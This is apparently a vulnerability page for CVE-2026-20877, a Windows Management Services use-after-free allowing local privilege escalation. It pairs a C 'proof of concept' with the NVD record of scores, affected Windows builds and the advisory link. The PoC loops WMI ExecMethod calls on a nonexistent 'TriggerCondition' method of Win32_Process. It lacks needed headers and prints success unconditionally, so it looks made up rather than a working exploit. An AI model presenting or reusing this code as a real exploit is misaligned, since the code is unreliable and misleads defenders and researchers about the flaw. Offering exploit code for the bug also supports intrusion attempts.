CVE-2026-20877

// CVE-2026-20877 PoC - Windows Management Services Use After Free // This PoC demonstrates the vulnerability concept (for educational purposes only) #include <windows.h> #include <wmistr.h> #include <wbemcli.h> #pragma comment(lib, "wbemuuid.lib") int main() { HRESULT hRes; IWbemServices* pSvc = NULL; IWbemLocator* pLoc = NULL; // Initialize COM hRes = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hRes)) { printf("[-] COM initialization failed: 0x%x\n", hRes); return 1; } // Set COM security level hRes = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL ); // Connect to WMI hRes = CoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc ); if (SUCCEEDED(hRes)) { hRes = pLoc->ConnectServer( _bstr_t(L"ROOT\\SUBSCRIPTION"), NULL, NULL, 0, NULL, 0, 0, &pSvc ); } if (SUCCEEDED(hRes)) { printf("[+] Connected to Windows Management Services\n"); // Trigger vulnerability by creating/destroying objects rapidly for (int i = 0; i < 1000; i++) { IWbemClassObject* pClass = NULL; BSTR methodName = SysAllocString(L"TriggerCondition"); // Call the vulnerable method hRes = pSvc->ExecMethod( _bstr_t(L"Win32_Process"), methodName, 0, NULL, NULL, &pClass, NULL ); if (pClass) pClass->Release(); SysFreeString(methodName); } printf("[*] Triggered Use After Free condition\n"); } // Cleanup if (pSvc) pSvc->Release(); if (pLoc) pLoc->Release(); CoUninitialize(); return 0; }

{"cve": {"id": "CVE-2026-20877", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:17.813", "lastModified": "2026-01-15T21:25:29.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en los Servicios de administración de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20877", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}